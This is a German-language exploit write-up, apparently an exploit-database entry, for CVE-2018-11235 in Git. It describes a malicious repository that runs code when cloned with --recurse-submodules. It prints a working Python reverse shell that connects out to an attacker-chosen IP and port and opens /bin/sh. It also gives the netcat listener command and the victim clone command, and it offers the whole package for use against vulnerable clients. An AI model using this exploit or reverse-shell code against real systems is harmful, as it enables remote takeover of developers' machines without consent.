
Nutzt CVE-2018-11235 aus
Exploit Title: Clone and Pwn
Date: 4. Juni 2018
Exploit Author: Alejandro Caceres
Vendor Homepage: https://git-scm.com/
Software Link: https://git-scm.com/downloads
Version: Beliebiger Code wird auf Git-Client-Versionen ausgeführt: In Git vor 2.13.7, 2.14.x vor 2.14.4, 2.15.x vor 2.15.2, 2.16.x vor 2.16.4 und 2.17.x vor 2.17.1
Getestet auf: Linux: Ubuntu, Mint, MacOSX
CVE : CVE-2018-11235
CVE-2018-11235, hier als „clone and pwn“ bezeichnet, erstellt ein bösartiges Git-Repository, das einen Fehler in Git ausnutzt. Wenn das Repository mit dem Flag --recurse-submodules geklont wird, wird beliebiger Code auf Git-Client-Versionen ausgeführt, die vor Git 2.13.7, 2.14.x vor 2.14.4, 2.15.x vor 2.15.2, 2.16.x vor 2.16.4 und 2.17.x vor 2.17.1 liegen.
Um dieses Modul zu verwenden, legen Sie es einfach auf einem Server mit direktem Internetzugriff ab (z.B. AWS, Digital Ocean) und öffnen Sie evil.sh. Es wird in etwa wie folgt aussehen:
#!/usr/bin/python
EXTERN_IP="127.0.0.1"
EXTERN_PORT=8080
#reverse shell to IP EXTERN_IP and port EXTERN_PORT
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((EXTERN_IP, EXTERN_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Setzen Sie EXTERN_IP und EXTERN_PORT auf die IP (extern) und den Port, auf dem Sie Ihre Reverse Shell empfangen möchten. Eine Reverse Shell kann mit etwas wie dem Folgenden empfangen werden:
nc -l <EXTERN_IP> EXTERN_PORT z.B. nc -l 193.23.23.32 8080
Oder mit Metasploits generischem Shell-Modul. Sobald der Benutzer den Befehl git clone --recurse-submodules git://<your ip>/repo dest_dir ausgeführt hat, erhalten Sie eine Reverse Shell.
Wenn Sie Probleme haben, das Skript mehrmals auszuführen (oder nach einem fehlgeschlagenen Versuch), überprüfen Sie Folgendes:
./clean.sh aus. Beachten Sie, dass dies alle Daten in /tmp löscht.ps aux | grep git, um sicherzustellen, dass Sie nicht bereits gitdaemon ausführen. Beenden Sie alle gitdaemon-Prozesse.Der Code stammt von @peffs git patch (siehe die Testdatei t/t7415-submodule-names.sh).
Daher wird dieses Repository unter der GNU General Public License Version 2 veröffentlicht.
Zusätzliche Korrektur für ältere Git-Versionen mit freundlicher Genehmigung von @atorralba (Details in diesem Beitrag).
Dieses Skript adaptiert von https://github.com/Rogdham/CVE-2018-11235, viel Liebe und Anerkennung
=======
Nutzt CVE-2018-11235 aus
Von @_hyp3ri0n und @mehaase